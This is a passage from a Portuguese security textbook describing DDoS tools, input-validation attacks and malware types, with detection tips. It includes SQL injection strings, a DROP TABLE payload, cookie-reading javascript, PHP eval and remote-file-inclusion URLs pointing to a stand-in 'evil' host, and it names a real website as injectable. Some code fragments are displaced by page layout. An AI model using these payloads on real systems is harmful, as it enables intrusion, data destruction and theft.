Programa DAEMON (Programa que corre em background nas máquinas
infectadas);
O atacante controla os sistemas com as aplicações clientes e os sistemas clientes
controlam os sistemas com as aplicações DAEMON.
Um atacante pode controlar uma ou mais aplicações clientes e pode comunicar com
estas através do protocolo TCP, UDP, ICMP, etc. Para comunicar não precisa de usar
password. A comunicação entre as aplicações clientes e as aplicações DAEMON é feita
através de pacotes de resposta ICMP. A maioria das versões desta aplicação usam
portas aleatórias para comunicar pelo que é mais difícil de detectar se a aplicação está a
correr num sistema ou não.
2 - Trin00:
Esta aplicação utiliza o protocolo UDP para comunicar.
Esta aplicação é composta por dois programas:
Trin00 master;
Trin00 Daemon;
A aplicação master é protegida por password, mas as password usadas são as colocadas
por defeito e são publicas. A utilização de password serve para controlar a utilização
das aplicações pois assim apenas é permitido a um atacante de cada vez utilizar estas. A
comunicação entre as várias aplicações é feita por portas específicas pelo que podem ser
criadas regras para bloquear o tráfego gerado entre estes sistemas.
A comunicação entre o atacante e a aplicação Master é feita pela porta TCP numero 27
665;
109
A comunicação entre a aplicação Master e DAEMON é feita pela porta UDP numero 27
444;
A comunicação entre a aplicação DAEMON e Master é feita pela porta UDP numero 31
335;
3 – Stacheldraht (arame farpado):
Esta ferramenta combina as melhores características das duas descritas anteriormente.
Ela é composta por duas aplicações:
Stacheldraht Master (handler);
Stacheldraht Daemon (agent);
A principal diferença entre esta ferramenta e as anteriores é que enquanto nas anteriores
os pacotes eram transmitidos em texto nesta a informação transmitida entre o atacante e
a aplicação master é cifrada com uma chave simétrica. Por defeito toda a comunicação
entre o atacante e a aplicação master é feita pela porta TCP numero 16 660.
A comunicação entre a aplicação master e Daemon ocorre pela porta 65 000 com
recurso aos protocolos ICMP e TCP.
Nesta ferramenta é necessária autenticação com recurso a uma password.
Uma das novidades desta ferramenta em relação ás anteriores é que esta permite que se
faça actualizações á aplicação Daemon remotamente.
110
11 Validação de Input
A falta de validação ou erro na validação do input de aplicações está na origem de quase
todas as vulnerabilidades exploradas executar um ataque. Estas falhas podem ser
exploradas mesmo sem conhecimento de programação ou sem a utilização de
ferramentas. Estas falhas podem ser exploradas por exemplo pela tentativa de inserir
num formulário todo o tipo de valores e caso este não se encontrar protegido aparece
rapidamente um erro.
As falhas na validação de input acontecem sempre devido a uma politica de
programação incorrecta levada a cabo por programadores que apenas tem em vista
desenvolver uma aplicação que cumpra os objectivos e esquecem-se de testar a
aplicação para saber se apenas permite que sejam inseridos valores válidos ou se
permite a inserção de valores inválidos.
Este tipo de falhas ocorrem em aplicações que recebam dados do utilizador, sejam esses
dados texto normal, uma consulta SQL, um comando, uma password, um login, etc. Se
for encontrada uma falha podem ser inseridos no lugar dos dados esperados valores
manipulados de forma a fazer com que a aplicação tenha uma resposta que não é
esperada. Esta resposta não esperada pode devolver dados confidenciais, permitir acesso
ao sistema, fazer com que o sistema deixe de responder, etc.
Devido a enorme diversidade de situações onde pode ocorrer uma falha na validação de
dados e pelo perigo que estas situações podem representar é muito mais cómodo e
barato para as organizações que comercializam software investir na fase de
desenvolvimento em testes para garantir que o software não apresenta falhas de input
para impedir que depois de lançarem um produto tenham de andar a lançar
actualizações e é igualmente mais cómodo e seguro para o cliente que estes testes sejam
feitos pois evita a perda de confiança no produto além de evitar que o cliente tenha de
andar a instalar actualizações do software sempre que é detectado um erro.
111
11.1 Tipos de ataques
11.1.1 Injecção de código SQL
A injecção de SQL consiste em conseguir executar consultas ou comandos SQL no
sistema através da inserção de código SQL juntamente com os dados esperados. Isto
ocorre quando o sistema não faz a protecção do input correctamente, o que leva a que
através da manipulação deste se consiga inserir código.
Este tipo de ataque é maioritariamente realizado em páginas web que fazem chamadas a
base de dadas para pedir dados, nomeadamente páginas dinâmicas, páginas com
inserção de dados ou páginas com script’s em ASP, PHP ou CGI , nestes casos a
ferramenta utilizada pelo atacante será apenas um browser e algum conhecimento de
código SQL.
Alguns dos ataques que podem ser efectuados se um sistema não se encontra protegido
são os seguintes:
Podem ser alterados os valores que se encontram na barra de endereços do
browser de maneira a serem devolvidos todos os valores de uma determinada
tabela. Por exemplo se uma página tiver o seguinte endereço (depois de
escolhido a categoria a pesquisar):
“http://www.saspatariaonline.com/index.asp?categoria=sapatos” , se este
endereço for alterado para
“http://www.saspatariaonline.com/index.asp?categoria=sapatos or 1=1” o
browser vai devolver ao utilizador todas as categorias que se encontram
registadas na base de dados.
Se tivermos de efectuar login e não existir a validação dos valores inseridos
vamos ter uma consulta parecida com “Select * from utilizadores where
nome=”nome_inserido” e password=”password_inserida”;”, neste caso o
atacante pode simplesmente inserir o texto “abcd’ or 1=1--” e vai conseguir
acesso imediato ao sistema uma vez que este vai assumir a identidade da
primeira pessoa que se encontra registada na tabela de utilizadores, esta situação
é mais grave se o primeiro utilizador registado na tabela for o administrador do
sistema porque, dá o nível de acesso deste. Este caso é possível pela utilização
do carácter “-” duas vezes que na linguagem SQL indica que tudo o que se
112
encontra a seguir a este é comentário o que faz com que todo o texto a seguir a
este seja ignorado. Neste caso faz com que não seja necessário inserir a
password e o utilizador é imediatamente validado.
Pode ser inserido código de forma a fazer com que o sistema perca informação
vital para o seu funcionamento, por exemplo se numa caixa de texto for pedido o
numero de calçado e o utilizador inserir “ 45;DROP TABLE users ” e a tabela
“users” contiver a informação de login dos utilizadores o programa executará o
seguinte código: “SELECT * FROM calcado WHERE numero = 45;DROP
TABLE users; ” o que vai fazer com que a tabela users seja eliminada e deixe de
ser possível aos utilizadores registados fazer login até que a tabela seja criada
novamente e a informação seja reposta.
Em seguida pode ver-se que o site “www.chip7.pt” se encontra vulnerável a ataques
de SQL injection.
Se seleccionarmos no site a categoria “Portáteis” vemos na barra de endereços o
seguinte endereço: “http://www.chip7.pt/catalogo/index.php?cat=527&sessao=1”
pelo que pudemos supor que a categoria 527 corresponde á categoria de portáteis.
Imagem 58 – mostrar os elementos na categoria portáteis na página
“www.chip.pt”
Se inserirmos em seguida á categoria o código “or 1=1” vão ser devolvidas todas as
categorias que se encontram na tabela porque não existe um filtro para não permitir
a inserção de código SQL.
113
Imagem 59 – página “www.chip7.pt” com SQL injectado na barra de
endereço.
11.1.2 Injecção de código Javascript
A injecção de Javascript é feita com recurso ao browser com a página que se pretende
explorar aberta.
A injecção de javascript é feita através da barra de endereço do site depois de se limpar
o endereço que está presente nela.
Os comandos usados para injectar código são alert (); e void ();
Se quisermos então executar um comando de Javascript no browser é necessário
substituir o texto da barra de endereços por exemplo: “javascript: alert (‘mensagem’);”
e se quisermos executar vários comandos podemos por exemplo colocar “javascript:
alert (‘primeira mensagem’); alert (‘segunda mensagem’);”, no primeiro exemplo vai
aparecer uma caixa de diálogo a dizer “mensagem” e no segundo exemplo vão aparecer
duas caixas de diálogo.
Com injecção de código javascript é possível a um atacante descobrir quais os cookies
que estão a ser utilizados, os valores dos cookies e acrescentar cookies, para isso o
atacante tem de correr as seguintes linhas (no browser):
114
Javascript:alert(document.cookie); esta linha faz aparecer uma caixa de dialogo
com a informação dos cookies e quais os valores que tem.
Imagem 60 – Cookies presentes na página www.orelhas.pt
Javascript:void(document.cookie=”campo=novo_valor”); esta linha permite
que o valor do cookie “campo” seja alterado caso ele exista para o valor
“novo_valor” e caso o cookie não exista vai cria-lo com o valor inserido.
Imagem 61 – Adicionar um cookie á página com javascript.
115
Imagem 62 – Confirmação de que o cookie foi inserido.
O maior perigo de utilização de javascript numa página surge porque através deste é
possível manipular os valores dos campos dos formulários presentes na página. Para um
atacante alterar o valor de um campo do formulário precisa apenas de descobrir qual o
numero do formulário que pretende, isto porque os formulários de uma páginas estão
guardados no vector de formulários que pode ser acedido em “document.forms[X]”, em
que “X” é o valor do formulário pretendido, e em seguida pode alterar o valor do campo
acedendo á propriedade “value”.
Se tivermos o seguinte formulário:
Se assumirmos que este é o primeiro formulário da página então estará em “forms[0]”
assim, se escrever-mos a linha:
Javascript:alert(document.forms[0].meumail.value);
<form action= http://www.meusite.com/submit.php method=
“post”>
<input type= “hidden” name= “meumail” value=
116
Aparece uma janela com o valor “[email protected]” escrito.
Agora se o atacante quiser alterar o valor do e-mail para um endereço que ele tenha
criado apenas tem de fazer:
Como se vê por este exemplo é então fácil para um atacante manipular os dados dos
formulários depois de analisar o código fonte da página.
11.1.3 Injecção de código PHP
A injecção de código PHP consiste em fornecer código PHP ao servidor que tem o site
alojado. A injecção de código pode ser feito de duas maneiras distintas. Pode explorar a
validações de expressões dinâmica. Neste caso pode explorar o uso da função “eval”
pelo servidor, uma vez que esta função interpreta o input como código e executa-o, o
que vai fazer com que os comandos enviados ao servidor sejam executados.
Se tivermos o código:
Se a variável “arg” contiver um comando este vai ser executado.
Ainda se insere neste tipo de vulnerabilidade a validação dinâmica de variáveis e de
funções porque, a validação dinâmica de variáveis permite redefinir o valor de variáveis
globais e caso a redefinição contenha uma expressão em vez de um valor a resposta do
servidor pode não ser a desejada pelo administrador do sistema. A validação dinâmica
de funções permite que sejam chamas funções que não o deveriam ser.
A outra vulnerabilidade que se encontra em servidores PHP é a de estes permitirem a
inclusão de ficheiros.
/* http://en.wikipedia.org/wiki/Code_injection#PHP_Injection */ $myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
Javascript:void(document.forms[0].meumail.value=
117
O exemplo seguinte apresenta código que permite que sejam incluídos ficheiros no
servidor:
O código anterior devia garantir que apenas podia ser carregado o ficheiro blue.php e
red.php, mas como essa protecção não está feita pode ser inserido qualquer valor em
vez de um desses. Se for inserido uma das seguinte linhas:
É carregado um ficheiro que contem um exploit no servidor.
11.1.4 Format string
Este tipo de falha na validação de input foi tornada publica em Junho de 1999 e deu
origem a um conjunto novo de vulnerabilidades presente em muitos programas
desenvolvidos na linguagem C.
Esta falha é explorada nas funções que recebem um numero variável de parâmetros, em
que um dos parâmetros é uma string de formatação que indica qual o tipo de dados que
vão ser recebidos nos restantes parâmetros para que, o compilador saiba o que vai
receber e como é que deve tratar os dados recebidos. A falha nestas funções encontra-se
/vulnerable.php?COLOR=http://evil/exploit /vulnerable.php?COLOR=C:\ftp\upload\exploit /vulnerable.php?COLOR=..\..\..\..\ftp\upload\exploit /vulnerable.php?COLOR=C:\notes.txt%00
<?php $color = 'blue';
if ( isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR'];
require( $color . '.php' ); ?> <form>
<select name="COLOR"> <option value="red">red</option>
<option value="blue">blue</option> </select> <input type="submit">
</form>
118
presente quando é possível ao utilizador de algum modo fornecer a string de formatação
ou apenas parte desta.
Um exemplo de código com vulnerabilicade muito simples de entender é o seguinte:
Neste ultimo caso o utilizador pode introduzir, por exemplo, os caracteres “%” e “s”,
uma ou mais vezes, o que permite que este possa introduzir a quantidade de informação
que desejar de acordo como o número de caracteres introduzido.
Mas se for o programador a escolher a formatação e o utilizador apenas inserir os dados
então a função deixa de apresentar esta falha:
Algumas das funções que recebem os parâmetros de formatação são fprintf, printf,
snprintf, sprintf, syslog, e as strings de formatação que podem ser inseridas podem
conter %d que indica que vai receber um valor do tipo inteiro, %u que indica á função
vai receber um valor inteiro positivo, %x que indica á função que vai ler um valor em
formato hexadecimal, %n que indica á função que vai ter de escrever o numero de bytes
que foram imprimidos para a saída até ao momento, etc.
Uma função que trabalha com strings de formatação trata os seus valores do seguinte
modo:
- Lê um carácter de cada vez, se o carácter não for o “%” envia-o para a saída, se tiver o
carácter “%” e em seguida novamente o mesmo carácter a função imprime o carácter
“%” para a saída e caso esteja á frente do carácter “%”qualquer outro carácter que
func (char *user)
{
printf ("%s", user);
}
func (char *user)
{
printf (user);
}
119
represente um determinado tipo de dados então a função lê o valor da pilha para
escrever para a saída.
Este tipo de vulnerabilidade pode ser explorada em código como o seguinte:
Exemplo retirado do Linux (rpc.statd, IRIX telnetd):
Exemplo retirado de wu-ftpd, Qualcomm Popper QPOP 2.53:
Depois de descoberta uma vulnerabilidade destas podem ser feitos ataques muito
diferentes como por exemplo:
Inserir um input que faça com que a aplicação deixe de responder, este tipo
ataque é muito escolhido se o objectivo for fazer com que o sistema atacado
deixe de responder.
Utilizar uma formatação de forma a conseguir ver endereços de memória da
pilha para tentar saber a localização de elementos, tamanho da pilha, etc.;
Utilizar uma formatação que permita ver o que se encontra na memória, fora da
pilha;
int Error (char *fmt, ...);
...
int someotherfunc (char *user)
{
...
Error (user);
...
}
...
char tmpbuf[512];
snprintf (tmpbuf, sizeof (tmpbuf), "foo: %s", user);
tmpbuf[sizeof (tmpbuf) - 1] = '\0';
syslog (LOG_NOTICE, tmpbuf);
120
Conseguir escrever fora da memória da pilha de maneira a alterar o valor do
intruction pointer para executar código que o atacante pretende;
etc.
12 Roubo da propriedade intelectual
A propriedade intelectual diz respeito a dados privados de um indivíduo ou organização.
Muitas empresas protegem a sua propriedade intelectual de forma a manter ou aumentar
os seus lucros e rendimentos. A propriedade intelectual incluiu a criação de novos
produtos, serviços a lançar para o mercado, o desenho de produtos que devem ser
protegido da concorrência, informação confidencial interna tanto da empresa como dos
clientes, etc.
Muitas das empresas que são bem sucedidas no mundo foram criadas a partir de
estratégias desenvolvidas em volta da propriedade intelectual.
A grande importância da propriedade intelectual faz com que a motivação para os
ataques, infiltrações nos sistemas, e espionagem para a obtenção de informações
aumente. As organizações estão cada vez mais preocupadas em proteger os seus dados e
informações confidenciais para evitar que a concorrência tome proveito das suas ideias.
12.1 Tipos de ataques
12.1.1 Trojans
Os trojans são programas aparentemente inofensivos que vêm escondidos em
aplicações como jogos, screensaver’s, etc. Ao contrário dos vírus e worms não tem
capacidade de se replicar.
Existem trojan com funcionalidades distintas, como permitir o acesso remoto ao
sistema afectado, que enviam dados para o atacante (informação de login, e-mail, etc.),
que destroem dados (apenas alguns ficheiros, formatam o disco, etc.), que provocam a
negação de serviço, que colocam o sistema infectado a funcionar como servidor FTP
para o atacante poder enviar e receber ficheiros (filmes, musica, pornografia, etc.), que
desactivam o software de segurança presente na vítima (antivírus, firewall, etc.).
Depois do programa estar instalado e da vítima se ligar a Internet, um atacante pode ter
acesso e manipular remotamente os dados e hardware do sistema infectado. A partir do
121
computador infectado, o atacante pode atacar o sistema de terceiros para encobrir a sua
verdadeira identidade e incriminar o utilizador do sistema intermediário.
Os trojans podem causar danos graves. Alguns atacantes invadem um sistema apenas
para pregar uma partida ao utilizador mas tem sempre a possibilidade de apagar dados,
formatar o disco, etc. A maioria dos ataques tem como objectivo encontrar ficheiros que
contenham informações confidenciais e de roubar informação de login. Quando o
sistema de uma empresa é invadido, o atacante pode roubar informações privadas como
por exemplo as tácticas da empresa para lidar com o mercado e com a concorrência,
pondo em risco o sector financeiro e a reputação da empresa. Depois do trojan estar
instalado no sistema o atacante pode aceder, apagar, e copiar ficheiros do sistema
infectado e pode deixar o sistema aberto a outros com a mesma intenção.
Existem trojans que trabalham como Keyloggers. Os keyloggers tem a capacidade de
registar a informação de login do utilizador para o sistema, para páginas web, para
software que necessite de login, números de cartão de credito, etc. Alguns podem gravar
o nome da aplicação e a data em que a password foi inserida. È possível configurar este
para que envie a informação recolhida para um endereço de email.
Um trojan pode ser programado para funcionar como um vírus ou um worm. Também é
possível configurar um para se auto destruir num determinado dia e numa determinada
hora, o que pode fazer com que a vítima nunca chegue a perceber que esteve infectado.
Outra configuração possível é programar o trojan de forma a executar uma acção, numa
determinada data e hora, para levar o utilizador a pensar que o seu sistema ainda não
tinha sido infectado antes desse momento.
Os trojans são divididos em cliente e servidor. Normalmente o servidor está oculto num
arquivo aparentemente inofensivo, e quando este é executado instala-se na vítima.
Depois de instalado este abre uma porta para o atacante se poder conectar com a
aplicação cliente ou com qualquer outra aplicação cliente que suporte.
Para um ataque deste tipo, é necessário seguir determinados passos.
O primeiro passo é arranjar uma forma de instalar a parte servidor do trojan no sistema
da vítima. Esta parte é talvez a mais difícil do ataque, pois o atacante tem que convencer
a vítima de que o ficheiro, que pode ser enviado por e-mail, Messenger, etc. é
inofensivo. O trojan pode ir acoplado na instalação de uma aplicação legitima, para que
quando a vítima execute o ficheiro legítimo vá na verdade executar os dois mas apenas é
apresentado o processo de instalação da aplicação legitima. O atacante também pode
copiar o trojan para um CD-ROM e usar o auto-run para o executar, assim ele é
122
instalado logo que o CD-ROM é reconhecido pelo leitor, se o auto-run estiver activo. Se
o atacante tiver acesso físico com o sistema, o trojan pode ser instalado directamente.
Depois do servidor estar instalado, este abre uma porta para o cliente se poder conectar
ao sistema atacado. Cada trojan abre uma porta pré definida.
Para o cliente se poder conectar ao sistema da vítima, é preciso descobrir de alguma
forma o seu endereço de IP. Alguns trojans podem ser configurados para enviar um
email com o endereço IP da máquina infectada para que, um atacante saiba qual o
endereço do computador infectado.
Depois do atacante obter o endereço IP da máquina infectada já se pode conectar a esta.
Na maioria das vezes, o atacante instala um backdoor no sistema infectado para poder
voltar a aceder a este facilmente. Alguns dos trojans mais conhecidos são o Back
orifice, GirlFriend, netBus, etc.
Imagem 63 – Ferramenta NetBus versão 2.01 Pro
Existem várias formas de detectar se um sistema foi infectado por um trojan. Algumas
delas são apresentadas de seguida.
A parte que trabalha como servidor do trojan abre uma porta para permitir a conexão da
parte cliente logo, é possível verificar as portas que estão abertas e as portas em que
existe uma conexão estabelecida. Basta introduzir o comando “netstat –n” na linha de
comandos e será apresentada uma lista com as porta abertas. Se alguma das portas que
123
está na lista estiver mencionada no anexo, onde mostra as portas predefinidas de cada
trojan, provavelmente o sistema estará infectado.
Imagem 64- Printscreen do resultado do comando “netstat -n”
Para verificar se não existe nenhum trojan a espera de receber uma ligação pode-se usar
o comando “netstat -an” para verificar se não existe nenhuma ligação suspeita a espera
(no estado LISTENING).
Imagem 65 – Listagem das portas com ligação estabelecida ou a espera de ligação
124
Normalmente um trojan tem um endereço de e-mail definido para onde vai enviar a
informação. Pode-se verificar se está a foi feita alguma ligação a um servidor de SMTP
(porta 25) externo desconhecido e se tiver sido existe a hipótese do sistema se encontrar
infectado.
Existem várias ferramentas que permitem detectar a presença de trojans como Trojan
Remover, The Cleaner etc. A maioria dos antivírus também são eficazes na detecção e
remoção deste tipo de software.
Para o trojan afectar o sistema, é necessário que seja iniciado ou carregado na memória
todas as vezes que o Windows inicia. Para tal tem haver uma referência, por exemplo
num ficheiro de arranque.
Os ficheiros de arranque do registo podem ter referências para um trojan que esteja
instalado.
Caminhos para os ficheiros de arranque:
Outros ficheiros em que os Trojans podem ter referencias são nos ficheiros win.ini e
System.ini. Todos os programas referenciados nestes ficheiros são executados no
arranque.
Os ficheiros autoexec.bat e winstart.bat também são executados sempre que o Windows
inicia, e também podem conter referências de trojans.
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre
ntVersion\explorer\ Shell Folders]"Common
Startup"="C:\windows\start menu\programs\startup"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Current
Version\Explorer\User Shell Folders] Startup="C:\windows\start
menu\programs\startup"
1. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV
ersion\Explorer\Shell Folders] Startup="C:\windows\start
menu\programs\startup"
2. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\explorer\User Shell Folders]"Common
Startup"="C:\windows\start menu\programs\startup"
125
Todos os programas que são automaticamente executados quando o Windows inicia
estão no registo do Windows em:
12.1.2 Rootkits
Este nome surgiu para designar as aplicações que são usadas para aceder a sistemas
Linux que tem instalado um backdoor e em que o nível de acesso é total, ou seja, o nível
de acesso é o de “root”. Um Rootkit instala-se no sistema e esconde-se deste para
ocultar a sua presença e a presença de ficheiros que esteja esconder.
Um rootkit pretende-se esconder do sistema operativo onde se encontra. Para esconder a
sua presença elimina as suas chaves de registo, esconde os seus processos do gestor de
tarefas e os seus ficheiros do disco para o utilizador não poder aceder a estes. Estas
características fazem com que seja muito difícil de detectar e de eliminar de um sistema.
No Linux/Unix os rootkit’s geralmente substituem os programas mais comuns, como os
que listam ficheiros, para que quando seja pedida uma listagem dos ficheiros presentes
em disco a sua presença seja ocultada.
1. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\RunServices]
2. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\RunServicesOnce]
3. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\Run]
4. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current
Version\RunOnce]
5. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV
ersion\Run]
6. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV
ersion\RunOnce]
7. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV
ersion\RunServices]
126
No sistema Windows geralmente infectam os processos em memória para que quando
seja pedida informação sobre ficheiros ou processos ele possa esconder a sua
informação.
12.1.3 Backdoors
Um backdoor é diferente de um trojan porque é qualquer tipo de aplicação que permite
a um atacante se ligar a um computador sem passar pelo processo de autenticação. Este
tipo de programas é muito útil ao atacante porque o trafico em vez de ser gerado de fora
da rede para dentro da rede, tem origem dentro da rede e é enviado para fora o que
facilita a tarefa do atacante pois o tráfego de dentro da rede para fora não é, regra geral,
tão filtrado como o que é gerado do exterior para o interior.
Estes programas são normalmente usados depois de um ataque ao sistema para permitir
que o atacante regresse ao computador atacado sem ser detectado e para não ter
dificuldade em conseguir uma ligação.
12.1.4 Bots e Botnets
Um bot tem a capacidade de comunicar para o exterior para permitir que a maquina
infectada seja controlado de fora.
Um bot para comunicar liga-se a um servidor IRC (Internet Relay Chat) e entra numa
sala predefinida. Em seguida recebe instruções do atacante através das mensagens que
este escreve na sala.
Um bot pode ser usado para lançar um ataque de negação de serviço, para roubar
informação, para enviar email’s de spam, usar o computador infectado como servidor
Warez, etc.
Botnet é o nome de uma rede formada por dois ou mais computadores infectados com
um bot e que podem ser usadas para lançar ataques de negação de serviço distribuídos,
envio de spam, etc.
12.1.5 Sniffing
Sniffing é a acção de capturar informações endereçada a outra máquina.
127
Originalmente as ferramentas de “sniffing” foram desenvolvidas para serem usadas pelo
administrador do sistema para resolver problemas nas ligações ou para monitorizar o
tráfego na rede, as ferramentas de sniffing são perfeitas para efectuar pesquisa de
defeitos na rede.
Na rede ethernet os pacotes transmitidos são enviados para todos os computadores
ligados á rede. Apenas a máquina para a qual a informação é endereçada aceita o pacote
e todas as outras descartam o pacote se por não ser endereçado para elas. O cabeçalho
do pacote contém o endereço da máquina destino e o endereço da máquina origem.
Imagem 66 – Comunicação entre dois computadores numa rede ethernet
Assim, num caso normal, as máquinas da rede descartam todos os pacotes que não tem
o mesmo endereço MAC que a sua placa. Uma ferramenta de sniffing pode configurar a
placa de rede de forma a esta trabalhar no modo promíscuo, diz-se que esta está em
modo promíscuo quando está configurado para aceitar qualquer pacote
independentemente do seu endereço de destino.
Um sniffer, ao capturar um pacote, é capaz de obter toda a informação do pacote se esta
não estiver cifrada. Um Sniffer pode ser programado para capturar da rede apenas um
determinado tipo de tráfego ou, capturar apenas informação de login e outros dados
sensíveis que circulem na rede. Normalmente os dados que mais interessam aos
128
atacantes são informação de login, contas bancárias, conversas do Messenger, e-mails
pessoais, dados privados em geral, etc.
Existe muitas ferramentas para sniffing como tcpdump, Ethereal, Sniffit, etc.
Imagem 67 – Ferramenta ethereal versão 0.99.0
A razão para o sucesso do sniffing devesse ao facto da maioria dos protocolos TCP/IP
como FTP, POP, NNTP, IMAP e HTML não usarem encriptação de dados. Assim, os
dados dos pacotes ao circularem na rede, circulam em texto simples.
A existência de switches e routers na rede, torna muito mais difícil capturar os pacotes
da rede porque em vez dos pacotes serem propagados para todos os nós da rede são
entregues apenas ao nó de destino do pacote.
Apesar de dificultem a captura de pacotes, não a tornam uma tarefa impossível. Os
switches (que internamente fazem comutação de circuito) criam uma espécie de rede
ponto a ponto entre as interfaces para permitir o tráfego de pacotes. O Switch entrega a
informação na porta em que está registado o MAC Adress de destino da frame, o que faz
com que os outros computadores ligados ao switch não tenham conhecimento da
informação se esta não estiver endereçada a si (com o seu MAC Adress ou com o
endereço de Broadcast como destino da frame).
129
Imagem 68 – Exemplo de comunicação ponto-a-ponto numa rede switch.
Os Switches ao contrário dos hub’s não permitem que seja efectuado sniffing pela
colocação da placa em modo promíscuo. Se um atacante colocar um sniffer a correr
numa rede comutada como faz numa rede com hub’s apenas vai conseguir receber os
pacotes de broadcast, e os pacotes que, a maquina onde está a correr, envia e recebe.
A maneira mais simples para um atacante conseguir receber toda a informação que
circula na rede, caso o switch utilizado suporte “port mirroring” é conseguir de alguma
maneira alterar no switch o valor da porta usada para essa funcionalidade para a porta
onde está ligado. Depois de conseguir fazer esta alteração o atacante passa a receber
uma cópia de toda a informação que circula na rede.
O atacante pode fazer sniffing numa rede comutada através da colocação do switch a
trabalhar como um hub. O atacante consegue fazer isso através de um MAC flooding
contra o switch. Este método consiste em enviar muitos pacotes ARP para conseguir
encher a tabela que faz a correspondência entre o MAC address de uma máquina e a
porta em que se encontra (translation table) do switch.
Ainda existe mais um método para permitir a um atacante fazer sniffing numa rede
comutada que consiste em efectuar ARP spoofing (esta técnica foi explicada no capítulo
sobre spoofing) para que toda a informação seja encaminhada para o computador do
atacante em vez de ser encaminhada para o destino correcto, o que vai permitir ao
130
atacante ler toda a informação que circula na rede. Para o atacante ser bem sucedido tem
de ter activo no seu computador o IP forwarding para que, a informação seja em
seguida reencaminhada para o destino correcto caso contrario o atacante faz com que a
rede deixe de estar acessível, porque a informação não chega ao destino.
Existem algumas medidas que podem ser adoptadas para detectar a presença de
sniffer’s.
Uma das formas de detectar a presença de um sniffer é verificar na rede se existe
alguma interface a trabalhar no modo promíscuo. Para tal, existem ferramentas como
cmp (check promiscuos mode), que analisa as interfaces do sistema para verificar se
alguma interface se encontra no modo promíscuo. Caso exista alguma máquina em
modo promíscuo está a ser feito sniffing na rede.
Todos os sniffers guardam os dados dos pacotes que capturam num ficheiro de log.
Normalmente esses ficheiros crescem muito rapidamente devido á quantidade de
tráfego na rede. Um administrador de sistema deve procurar por esse tipo de ficheiro na
rede, ou seja, deve procurar ficheiros que aumento de tamanho muito rapidamente,
ficheiros com um tamanho muito elevado e deve desconfiar de ficheiros que se
encontrem em directorias escondidas.
Existem ferramentas que permitem detectar a presença de sniffers na rede, como por
exemplo o AntiSniff.
12.1.6 Adware
O Adware (Advertising software) é um software desenvolvido especificamente para
apresentar produtos em pop-up enquanto é executado, seja no Browser ou noutra
aplicação.
Este software assemelha-se ao spyware na sua forma de instalação e de remoção.
Normalmente, são empresas que desenvolvem este tipo software. Podem estar incluídos
nos pacotes de programas gratuitos. Em alguns casos, o adware é instalado no
computador como retribuição pela instalação de outro programa da mesma empresa,
Neste caso exibem publicidade no programa da empresa ou no browser.
Por outro lado existem adware’s mais abusivos que mostram publicidade de forma
incómoda e abusiva, que podem ser instalados como plug-in. Aparecem durante a
navegação em sites que tenham parceria com a empresa que pretende exibir os seus
131
produtos. Podem aparecer durante a navegação, ou quando o utilizador digita o
endereços.
Estes programas podem ser instalados quando se instala software como Kazaa, BitLord,
Messenger plus, etc. ou com cookies que são instalados quando se visita algumas
páginas.
Algumas aplicações de adware passaram a ser instaladas no computador mesmo sem
acompanhar programas, são instalados quando o utilizador passa por um site pouco
fiável. Por vezes as publicidades exibem pornografia ou são de publicidade enganosa,
podem causar instabilidade no sistema, principalmente no browser. Embora por vezes
este software seja abusivo, não é ilegal.
Existem alguns tipos de adware que fazem alterações no registo do Windows e depois
escondem-se mudando de directoria, para tornar a sua detecção difícil e por vezes é
preciso recorrer a um programa específico para recompor o registo do Windows.
12.1.7 Ransonware
Ransonware é um tipo de software recente que pode ser infectar um computador da
mesma forma que um trojan ou um vírus. Uma vez instalado no computador da vítima,
pode cifrar desde um ficheiro até todo o conteúdo do disco rígido. O atacante exige
depois um pagamento para restaurar os dados. Estas são ferramentas para crimes de
extorsão e são ilegais. Existem algumas aplicações deste género, entre elas o Gpcode-B
/ PGPCoder, etc.
12.1.8 Spyware
O Spyware é um programa de computador que recolhe informação sobre o utilizador e
sobre os seus hábitos na Internet. Este software difere dos trojan na medida em que não
tem como objectivo que o sistema seja directamente manipulado por terceiros mas
apenas fornecer informação a uma entidade externa.
AS aplicações mais sofisticadas capturam informação sobre a vítima, mesmo com o
computador offline. Mais tarde, quando o computador está ligado a Internet, os dados
são enviados para o servidor do atacante.
As informações obtidas são vendidas posteriormente a fornecedores de produtos. Estes
fornecedores utilizam as informações compradas para em seguida enviar mensagens
132
(geralmente SPAM) para tentar cativar clientes interessados num determinado tipo de
produto.
O spyware pode estar embutido noutro software. Assim, um utilizador pode instalar
spyware se instalar um software que não seja de confiança ( freeware, jogo grátis, etc.)
ou se executar um anexo de e-mail ou ficheiro enviado pelo Messenger.
Existem programas de remoção de Spyware, como Spybot, SpyCheck, Spyware Stopper,
mrt (que se encontra incluído no Windows XP com SP2), etc. mas é preciso ter atenção
ao instalar um programa de remoção de spyware porque muitos dos que se encontram
disponíveis online e que são grátis podem remover o spyware que se encontra no disco
mas instalam outras aplicações de spyware.
Este software é criado para ser executado sem o conhecimento da vítima. Mas existem
sinais que alertam para uma infecção por este software:
1. Caso a configuração da página inicial definida no browser seja alterada.
2. Caso apareçam anúncios em páginas que a vítima visite mas a situação não
acontecia em visitas anteriores. O Spyware tem a capacidade de colocar anúncios
em janelas pup-up em qualquer página que a vítima aceda.
3. Este software consome muitos recursos para verificar a actividade da vítima e para
entregar anúncios, o que torna o computador mais lento.
12.1.9 Hijackers
Hijackers são programas que alteram algumas configurações e manipulam o browser.
Este tipo de software altera a página inicial do Browser e impede o utilizador de a voltar
a repor. Este é um dos principais sinais de alerta para a existência de um programa do
género instalado no computador.
Este programa não altera apenas a página inicial, também permite exibir publicidade em
pop-up ou abrir uma janela nova apenas para exibir publicidade, instala barras de
ferramentas no browser e pode impedir o acesso a determinados sites, incluindo os sites
que disponibilizam software antivírus.
